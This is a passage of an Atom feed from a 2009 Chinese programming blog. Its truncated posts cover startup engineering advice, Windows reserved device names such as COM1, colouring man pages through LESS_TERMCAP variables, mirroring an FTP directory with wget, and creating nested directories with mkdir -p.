5.在工程师面试中要多提问专业性很强的问题－聘用&amp;#...</summary><published>2009-03-31T15:32:00Z</published><updated>2009-03-31T15:32:00Z</updated><author><name>Zealot</name><uri>http://www.cnblogs.com/Zealot/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Zealot/archive/2009/03/31/1426745.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Zealot/archive/2009/03/31/1426745.html"/><content type="text">1.要有程序代码－工作的代码是公司业务的起点。 2.要有（软件）工程背景的人做合伙人－一个既有工程背景又投入和开创公司业务的人。 3.聘用A+级的热衷于编写程序的工程师－聘用那些知道他们在“作什么”的人。 4.保持工程师团队小而精，不要把业务外包出去－大多数成功的创业阶段的软件公司都只是有几个非常优秀的工程师建立起来的。 5.在工程师面试中要多提问专业性很强的问题－聘用&amp;#...</content></entry><entry><id>http://www.cnblogs.com/Zealot/archive/2009/03/17/1413847.html</id><title type="text">windows对文件夹名称的限制,你知道吗？</title><summary type="text">昨天在家使用windows时遇到一个现象，新建一个名为com1的文件夹，竟然不能成功，其它名称就可以，提示信息是"Thespecifieddevicenameisinvalid"，竟然不是folder而是device，怪异！Google之，发现Windows无法以设备名来命名文件或文件夹，而com1正好是Dos时代的设备名称，不只是com1不行，以下的名称都不行 CON AUX COM1 COM...</summary><published>2009-03-16T16:46:00Z</published><updated>2009-03-16T16:46:00Z</updated><author><name>Zealot</name><uri>http://www.cnblogs.com/Zealot/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Zealot/archive/2009/03/17/1413847.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Zealot/archive/2009/03/17/1413847.html"/><content type="text">昨天在家使用windows时遇到一个现象，新建一个名为com1的文件夹，竟然不能成功，其它名称就可以，提示信息是"Thespecifieddevicenameisinvalid"，竟然不是folder而是device，怪异！Google之，发现Windows无法以设备名来命名文件或文件夹，而com1正好是Dos时代的设备名称，不只是com1不行，以下的名称都不行 CON AUX COM1 COM...</content></entry><entry><id>http://www.cnblogs.com/Zealot/archive/2009/03/17/1413846.html</id><title type="text">color man page</title><summary type="text">exportLESS_TERMCAP_mb=$'"E[01;31m' exportLESS_TERMCAP_md=$'"E[01;36m' exportLESS_TERMCAP_me=$'"E[0;32m' exportLESS_TERMCAP_se=$'"E[0;36m' exportLESS_TERMCAP_so=$'"E[01;44;32m' exportLESS_TERMCAP_ue=$'...</summary><published>2009-03-16T16:42:00Z</published><updated>2009-03-16T16:42:00Z</updated><author><name>Zealot</name><uri>http://www.cnblogs.com/Zealot/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Zealot/archive/2009/03/17/1413846.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Zealot/archive/2009/03/17/1413846.html"/><content type="text">exportLESS_TERMCAP_mb=$'"E[01;31m' exportLESS_TERMCAP_md=$'"E[01;36m' exportLESS_TERMCAP_me=$'"E[0;32m' exportLESS_TERMCAP_se=$'"E[0;36m' exportLESS_TERMCAP_so=$'"E[01;44;32m' exportLESS_TERMCAP_ue=$'...</content></entry><entry><id>http://www.cnblogs.com/Zealot/archive/2009/03/17/1413845.html</id><title type="text">使用命令行从FTP上下载整个目录</title><summary type="text">wget-mftp://xxxx/dirname--ftp-user=user--ftp-password=password m参数表示镜像指定的目录等同于-r-N-linf--no-remove-listing 能实现此功能的另一个办法是 wget-rtxxftp://172.16.12.111/ppp/* r是断点绪传，t是失败后可重新联接的xx次。 例如从ftp上直接下载整个目录到本地，我使...</summary><published>2009-03-16T16:38:00Z</published><updated>2009-03-16T16:38:00Z</updated><author><name>Zealot</name><uri>http://www.cnblogs.com/Zealot/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Zealot/archive/2009/03/17/1413845.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Zealot/archive/2009/03/17/1413845.html"/><content type="text">wget-mftp://xxxx/dirname--ftp-user=user--ftp-password=password m参数表示镜像指定的目录等同于-r-N-linf--no-remove-listing 能实现此功能的另一个办法是 wget-rtxxftp://172.16.12.111/ppp/* r是断点绪传，t是失败后可重新联接的xx次。 例如从ftp上直接下载整个目录到本地，我使...</content></entry><entry><id>http://www.cnblogs.com/Zealot/archive/2009/03/17/1413843.html</id><title type="text">在单个命令中创建目录树</title><summary type="text">怀习惯1示例：~$mkdirtmp ~$cdtmp~/tmp$mkdira~/tmp$cda ~/tmp/a$mkdirb ~/tmp/a$cdb ~/tmp/a/b/$mkdirc ~/tmp/a/b/$cdc ~/tmp/a/b/c$ 使用mkdir的-p选项并在单个命令中创建所有父目录及其子目录要容易得多。但是即使对于知道此选项的管理员，他们在命令行上创建子目录时也仍然束缚于逐步创建每级子...</summary><published>2009-03-16T16:33:00Z</published><updated>2009-03-16T16:33:00Z</updated><author><name>Zealot</name><uri>http://www.cnblogs.com/Zealot/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Zealot/archive/2009/03/17/1413843.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Zealot/archive/2009/03/17/1413843.html"/><content type="text">怀习惯1示例：~$mkdirtmp ~$cdtmp~/tmp$mkdira~/tmp$cda ~/tmp/a$mkdirb ~/tmp/a$cdb ~/tmp/a/b/$mkdirc ~/tmp/a/b/$cdc ~/tmp/a/b/c$ 使用mkdir的-p选项并在单个命令中创建所有父目录及其子目录要容易得多。但是即使对于知道此选项的管理员，他们在命令行上创建子目录时也仍然束缚于逐步创建每级子...</content></entry></feed>
